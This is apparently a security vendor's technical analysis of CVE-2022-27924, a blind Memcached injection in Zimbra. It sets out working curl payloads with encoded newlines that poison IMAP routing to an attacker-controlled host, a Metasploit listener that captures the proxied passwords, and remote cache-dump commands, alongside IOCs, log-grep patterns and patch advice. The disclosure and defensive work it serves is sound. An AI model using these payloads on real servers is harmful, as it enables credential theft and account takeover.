Description

On May 10, 2022, Zimbra released a patch for CVE-2022-27924 inZimbra Collaboration Suite to resolve a blind Memcached injection vulnerability. On June 14, 2022, Sonar posted a blog discussing the issue in detail. This post is based on our own experimentation and analysis in addition to Sonar’s blog.

The list of affected products includes:

• Zimbra Collaboration Suite 8.8.15 prior to Patch 31
  
• Zimbra Collaboration Suite 9.0.0 prior to Patch 24
  

If an attacker successfully exploits this issue, they can change arbitrary keys in the Memcached cache to arbitrary values. In the worst case scenario, an attacker can steal a user’s credentials when a user attempts to authenticate. Combined with a recent authenticated remote code execution vulnerability (CVE-2022-27925) and a currently unpatched privilege escalation issue that was publicly disclosed in October, 2021, capturing a user’s password can lead to remote code execution as the root user on an organization’s email server, which frequently contains sensitive data.

Rapid7 has received private reports that this vulnerability is being actively exploited in the wild by well organized threat groups.

We recently wrote about an unRAR issue in Zimbra that leads to remote code execution as well.

The potential consequences of exploiting CVE-2022-27924, combined with reported exploitation in the wild and other recent vulnerabilities, means that administrators should patch their Zimbra servers as soon as reasonably possible. We provide guidance on patches and workarounds below.

Technical analysis

To test Zimbra, we installed a current FOSS Zimbra version (8.8.15 Patch 31) on Ubuntu 18.04, and specifically downgraded the nginx package and configurations (the current version is supposed to be a one-way patch, so removing it is tricky). The exploit techniques should be the same whether Zimbra is on Ubuntu, Red Hat, or any other supported platform.

Memcached

Memcached is a memory-only caching daemon that is used to store short-lived but quickly retrievable strings. Zimbra uses Memcached to store a variety of ephemeral information, including routing information for back-end servers. We’ll dig into what exactly is being stored later, but first, let’s look at how Memcached is configured:

$ ps aux | grep memcache
zimbra     3837  0.0  0.0 322832    84 ?        Ssl  08:16   0:03 /opt/zimbra/common/bin/memcached -d -P /opt/zimbra/log/memcached.pid -U 0 -p 11211

$ /opt/zimbra/common/bin/memcached -h
-p <num>      TCP port number to listen on (default: 11211)
-U <num>      UDP port number to listen on (default: 11211, 0 is off)
-l <addr>     interface to listen on (default: INADDR_ANY, all addresses)
[...]

The -l argument is important for security purposes – it prevents random hosts from sending queries to Memcached. While Zimbra does support the -l argument, it does not set that flag by default:

$ cat /opt/zimbra/bin/zmmemcachedctl 
[...]
    addr=$(/opt/zimbra/bin/zmprov -l gs ${zimbra_server_hostname} zimbraMemcachedBindAddress | awk '/^zimbraMemcachedBindAddress:/{ print $2 }')
[...]
    if [ x"$addr" = "x" ]; then
      /opt/zimbra/common/bin/${servicename} -d -P ${pidfile} -U 0 -p ${port:-11211}
    else
      /opt/zimbra/common/bin/${servicename} -d -P ${pidfile} -U 0 -l ${addr} -p ${port:-11211}
    fi
[...]

Even though it listens on all interfaces, we cannot write to Memcached remotely:

(local)
$ echo -ne 'add test 0 3600 8\r\ntesttest\r\n' | nc localhost 11211
STORED

(remote)
$ echo -ne 'add test 0 3600 8\r\ntesttest\r\n' | nc 10.0.0.158 11211
NOT_STORED

We can, however, query remotely, which will be super helpful later on:

$ echo -ne 'get test\r\n' | nc 10.0.0.158 11211
VALUE test 0 8
testtest
END

We recommend configuring Zimbra to block external Memcached, even on patched versions of Zimbra.

Routing

We can verify that memcached executes as promised using netstat on our Zimbra host:

# netstat -pant
[...]
tcp        0      0 0.0.0.0:11211           0.0.0.0:*               LISTEN      3837/memcached      
tcp        0      0 10.0.0.158:11211        10.0.0.158:58450        ESTABLISHED 3837/memcached      
tcp        0      0 10.0.0.158:11211        10.0.0.158:58444        ESTABLISHED 3837/memcached      
tcp        0      0 10.0.0.158:11211        10.0.0.158:58448        ESTABLISHED 3837/memcached      
tcp        0      0 10.0.0.158:11211        10.0.0.158:58446        ESTABLISHED 3837/memcached      
tcp6       0      0 :::11211                :::*                    LISTEN      3837/memcached
[...]
tcp        0      0 10.0.0.158:58446        10.0.0.158:11211        ESTABLISHED 3900/nginx: worker  
tcp        0      0 10.0.0.158:58448        10.0.0.158:11211        ESTABLISHED 3898/nginx: worker  
tcp        0      0 10.0.0.158:58450        10.0.0.158:11211        ESTABLISHED 3899/nginx: worker  
tcp        0      0 10.0.0.158:58444        10.0.0.158:11211        ESTABLISHED 3901/nginx: worker

As shown in that output, Zimbra maintains four different connections to memcached at all times, which corresponds to four nginx workers. Zimbra maintains their own fork of Nginx that builds-in memcached support. Ultimately, saving routes in a cache like this is used to support multiple back-end Zimbra servers, but even with a single back-end server this logic still exists.

Once a Zimbra server has been running and used for a while (including both HTTPS and IMAP), we can query (even remotely!) to find out what sorta information is stored, using this technique (we later found a tool called memcdump or memdump that does the same thing):

$ echo -ne 'stats items\r\n' | nc 10.0.0.158 11211 | cut -d: -f2 | uniq
1
3
END

$ echo -ne 'stats cachedump 1 999\r\nstats cachedump 3 999\r\n' | nc 10.0.0.158 11211
END
ITEM route:proto=imapssl;user=admin@zimbra2.example.org [15 b; 1658950432 s]
ITEM alias:user=admin;ip=10.0.0.146 [25 b; 1658950432 s]
ITEM route:proto=httpssl;user=ron@zimbra2.example.org [15 b; 1658950427 s]
ITEM route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 [15 b; 1658950427 s]
ITEM route:proto=httpssl;user=admin@zimbra2.example.org [15 b; 1658950417 s]
ITEM alias:user=admin;vhost=10.0.0.158 [25 b; 1658950417 s]
ITEM route:proto=httpssl;id=3f65be18-dd18-40b5-9618-4b5f1d4a3471 [15 b; 1658950415 s]
END

What you’re seeing there are cache entries for the different protocols and users. If we query the values, we can see that they contain addresses and ports for upstream servers (which is very often the target server itself):

$ nc 10.0.0.158 11211

get route:proto=httpssl;user=ron@zimbra2.example.org 
VALUE route:proto=httpssl;user=ron@zimbra2.example.org 0 15
10.0.0.158:8443
END

get route:proto=imapssl;user=admin@zimbra2.example.org
VALUE route:proto=imapssl;user=admin@zimbra2.example.org 0 15
10.0.0.158:7993
END

We can validate how Zimbra uses these entries by spying on the network traffic. While we could have configured a Memcached log file, we took the easy approach and used tshark to log packets:

# tshark -i lo port 11211
Capturing on 'Loopback'

If we log in with a browser then with IMAP, we see those values being queried by Zimbra (and inserted, if the value is blank):

(HTTPS)
    1 0.000000000    10.0.0.158 → 10.0.0.158   MEMCACHE 131 get route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 
    2 0.000089488    10.0.0.158 → 10.0.0.158   MEMCACHE 160 VALUE route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 0 15 
    3 0.000101214    10.0.0.158 → 10.0.0.158   TCP 66 36660 → 11211 [ACK] Seq=66 Ack=95 Win=512 Len=0 TSval=2502091052 TSecr=2502091052
    4 0.004031459    10.0.0.158 → 10.0.0.158   MEMCACHE 131 get route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 
    5 0.004127048    10.0.0.158 → 10.0.0.158   MEMCACHE 160 VALUE route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 0 15

[...]
(IMAP)
  106 80.715764716   10.0.0.158 → 10.0.0.158   MEMCACHE 102 get alias:user=admin;ip=10.0.0.146 
  107 80.715868568   10.0.0.158 → 10.0.0.158   MEMCACHE 141 VALUE alias:user=admin;ip=10.0.0.146 0 25 
  108 80.715884212   10.0.0.158 → 10.0.0.158   TCP 66 51262 → 11211 [ACK] Seq=37 Ack=76 Win=512 Len=0 TSval=2502171768 TSecr=2502171768
  109 80.715952639   10.0.0.158 → 10.0.0.158   MEMCACHE 122 get route:proto=imapssl;user=admin@zimbra2.example.org 
  110 80.716013014   10.0.0.158 → 10.0.0.158   MEMCACHE 151 VALUE route:proto=imapssl;user=admin@zimbra2.example.org 0 15

Our goal for exploiting this vulnerability is going to be sabotaging those entries, for profit!

The Vulnerability

Zimbra actually patched this issue in two different places. First, they block HTTP requests containing newline characters; second, they now use SHA256 to hash the keys. Neither of these patches gives away where the actual vulnerability is, other than telling us that it’s exploited by injecting newline characters. Thankfully, Sonar’s blog helpfully outlines the exploit in detail!

They use effectively the following example to demonstrate the issue, which we modified to point to our test server and work with cURL:

$ curl -k 'https://10.0.0.158/service/home/example%0d%0astats%0d%0aUser/file'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 401 must authenticate</title>
</head>
<body><h2>HTTP ERROR 401 must authenticate</h2>
<table>
<tr><th>URI:</th><td>/service/home/example%0D%0Astats%0D%0AUser/file</td></tr>
<tr><th>STATUS:</th><td>401</td></tr>
<tr><th>MESSAGE:</th><td>must authenticate</td></tr>
<tr><th>SERVLET:</th><td>UserServlet</td></tr>
</table>

</body>
</html>

While we don’t see any meaningful response, we do see Memcached traffic in the tshark instance we started earlier:

# tshark -i lo port 11211
[...]
  150 691.837981292   10.0.0.158 → 10.0.0.158   MEMCACHE 120 get alias:user=example 
  151 691.838563956   10.0.0.158 → 10.0.0.158   MEMCACHE 71 END 
  152 691.838582407   10.0.0.158 → 10.0.0.158   TCP 66 38592 → 11211 [ACK] Seq=3494 Ack=4372 Win=512 Len=0 TSval=2504172114 TSecr=2504172114
  153 691.838612727   10.0.0.158 → 10.0.0.158   MEMCACHE 128 get route:proto=httpssl;user=example 
  154 691.840128073   10.0.0.158 → 10.0.0.158   MEMCACHE 1398 STAT pid 3939 

Note, in particular, that the stat command executed! That’s Memcached injection!

Exploit

Now that we’ve confirmed the Memcached injection, let’s look at how we can exploit it!

Since we know that the entry for, say, route:proto=imapssl;user=admin@zimbra2.example.org is simply a hostname:port referencing the upstream server, what if we perform a request that changes one of those values? Let’s try the following payload:

$ curl -k 'https://10.0.0.158/service/home/abc%0d%0aset%20route:proto=imapssl;user=admin@zimbra2.example.org%200%203600%2015%0d%0a10.0.0.146:1234%0d%0a/file'
<html>
[...]

Then, since memcached is open to the world, we can check if it worked:

$ nc 10.0.0.158 11211
get route:proto=imapssl;user=admin@zimbra2.example.org
VALUE route:proto=imapssl;user=admin@zimbra2.example.org 0 15
10.0.0.146:1234
END

It worked! We configured an arbitrary back-end server, to which Zimbra will forward IMAP traffic.

Since Zimbra will proxy our authentication to the specified back-end server, if we use our own, malicious IMAP server, we should be able to capture credentials! Metasploit to the rescue!…? Unfortunately, Zimbra’s proxy uses an IMAP feature that Metasploit currently doesn’t support, but we patched it and it’ll get rolled out soon! In the meantime, using that branch of Metasploit, we can fire up a listener:

msf6 > use auxiliary/server/capture/imap
msf6 auxiliary(server/capture/imap) > show options
msf6 auxiliary(server/capture/imap) > set SRVPORT 1234
SRVPORT => 1234
msf6 auxiliary(server/capture/imap) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(server/capture/imap) > exploit
[*] Auxiliary module running as background job 0.
[*] Started service listener on 0.0.0.0:1234 
[*] Server started.

Then, using any IMAP client (we used Claws Mail), connect to the Zimbra server using the poisoned account (in our case, it’s admin@zimbra2.example.org). Once the IMAP client connects to the poisoned account, it will attempt to authenticate, and Zimbra will forward us the authentication details:

msf6 auxiliary(server/capture/imap) > exploit
[*] Auxiliary module running as background job 0.
[*] Started service listener on 0.0.0.0:1234 
[*] Server started.
[+] IMAP LOGIN 10.0.0.158:59032 admin@zimbra2.example.org / mybigtestpassword

We can also test this with Ncat, directly authenticating to the Zimbra server:

$ echo -ne '1 LOGIN admin@zimbra2.example.org password1234\r\n' | nc --ssl 10.0.0.158 993
* OK IMAP4rev1 proxy server ready

Which immediately shows up in Metasploit:

msf6 auxiliary(server/capture/imap) > exploit
[*] Auxiliary module running as background job 0.
[*] Started service listener on 0.0.0.0:1234 
[*] Server started.
[+] IMAP LOGIN 10.0.0.158:59032 admin@zimbra2.example.org / mybigtestpassword
[+] IMAP LOGIN 10.0.0.158:59074 admin@zimbra2.example.org / password1234

So if we know a user’s email address, we can steal their password. If you get one user login, you can pretty easily get the rest from Zimbra’s address book, especially if it’s an administrator. But, is there a way to get ANY account?

Additional Exploit

The downside to that exploit is that you need to know a username on the server in order to exploit it. According to Sonar’s blog, it is also possible to poison the cache for any user, by stacking multiple requests. The idea is, we send an extra get request for Memcached in a single query, Memcached will respond with two different messages:The first will return to the injected query, and the second to whatever query happens next. Zimbra didn’t validate that the response it received was the request it sent, so it would fetch the wrong value. It would try to get a route for admin@zimbra2.example.org, for example, but actually receive the value test!

Unfortunately, in our testing we could not reproduce that attack, very likely because of how we down-patched our service. Something else in the current version of Zimbra is likely blocking it.

But, as noted above, poisoning the cache for a single user is likely sufficient to get all usernames very quickly. Plus, if Memcached is exposed on port 11211 we can get a list of users directly from the cache!

IOCs

This specific attack requires newline characters in a GET request, which are fairly unusual. Specifically, %0d and %0a (case insensitive) should be monitored in URL logs; we found the following logs that contained evidence:

• /opt/zimbra/log/trace.log.<date>
  
• /opt/zimbra/log/nginx.access.log
  
• /opt/zimbra/log/access_log.<date>
  

And searched them like this:

# sudo cat trace_log.2022_07_28 | grep -i '%0[da]'
21:10:01.387:qtp1381713434-126:https://10.0.0.158/service/home/abc%0d%0aset%20route:proto=imapssl;user=admin@zimbra2.example.org%200%203600%2015%0d%0a10.0.0.146:4444%0d%0a/file REQUEST 10.0.0.158 GET null; curl/7.79.1
21:10:04.181:qtp1381713434-126:https://10.0.0.158/service/home/abc%0d%0aset%20route:proto=imapssl;user=admin@zimbra2.example.org%200%203600%2015%0d%0a10.0.0.146:4444%0d%0a/file RESPONSE 401 null

Some of our failed attempts were additionally logged in /opt/zimbra/log/nginx.log, though it is unlikely that you’d see an attack there (unless the attacker made a mistake).

We also found a tool called memcdump (or memdump), which can dump entries in Memcached; any unrecognized servers referenced in Memcached’s cache are evidence of an attack, but note that an attacker can choose how long until a Memcached entry expires, and the entries do not persist across a reboot. Since this tool does not appear to print values, we used this bash command (replace localhost with the server’s IP address to use it remotely):

$ for entry in $(memcdump --servers=localhost | grep 'route:'); do echo -ne "get $entry\r\n" | nc -w1 localhost 11211; done
VALUE route:proto=httpssl;id=da0582c6-a871-4f8d-9a94-0d1fb481eafc 0 15
10.0.0.158:8443
END
VALUE route:proto=httpssl;user=ron@zimbra2.example.org 0 15
10.0.0.158:8443
END

Guidance

Rapid7 recommends updating all Zimbra servers to the most recent version. Several recent vulnerabilities exist that can lead to remote code execution or credential theft, and they are all fixed by updating.

Additionally, we recommend restricting Memcached to only listen on localhost, using Zimbra’s instructions — both configuring Zimbra’s bind address and, as a defense-in-depth measure, blocking the port with a firewall.

If updating is not possible, as a stop-gap measure you can use a reverse-proxy to block newline characters, the same way Zimbra does.

References

• CVE-2022-27924
  
• Sonar’s disclosure
  
• Our recent UnRAR bug analysis
  
• Improved Metasploit support for IMAP
  
• Disabling Memcached remote connections
  
• Zimbra versions